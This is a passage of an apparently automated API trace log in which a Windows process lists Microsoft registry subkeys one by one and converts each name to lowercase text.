RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0xf6b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xf6c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0222.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0xf6b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0222.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0xf6b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xf6c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0222.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0xf6b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0222.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0xf6b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xf6c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0222.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0xf6b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xf6c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0222.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0xf6b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0222.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0xf6b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0222.887] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0xf6b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xf6c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0222.888] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0xf6b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xf6c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0222.888] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0xf6b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xf6c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0222.888] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0xf6b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xf6c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0222.888] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0xf6b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xf6c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0222.888] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0xf6b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0222.888] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0xf6b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0222.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0222.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xf6c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0222.889] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0xf6b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0222.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0222.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xf6c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0222.889] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0xf6b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0222.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0222.889] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xf6c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0222.990] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0xf6b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0222.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0222.990] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0xf6b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0222.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xf6c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0222.990] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0xf6b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0222.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0222.991] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0xf6b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xf6c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0222.991] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0xf6b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xf6c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0222.991] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0xf6b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xf6c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0222.991] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0xf6b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xf6c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0222.991] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0xf6b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xf6c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0222.991] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0xf6b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0222.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xf6c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0222.992] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0xf6b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0xf6c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0222.992] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0xf6b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0222.992] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0xf6b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0xf6c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0222.992] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0xf6b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0xf6c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0222.992] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0xf6b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xf6c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0222.992] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0xf6b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0222.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xf6c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0222.993] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0xf6b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xf6c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0222.993] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0xf6b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xf6c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0222.993] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0xf6b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xf6c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0222.993] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0xf6b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0222.993] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0xf6b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0222.993] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0xf6b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0222.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0222.994] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0xf6b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0222.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xf6c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0222.994] 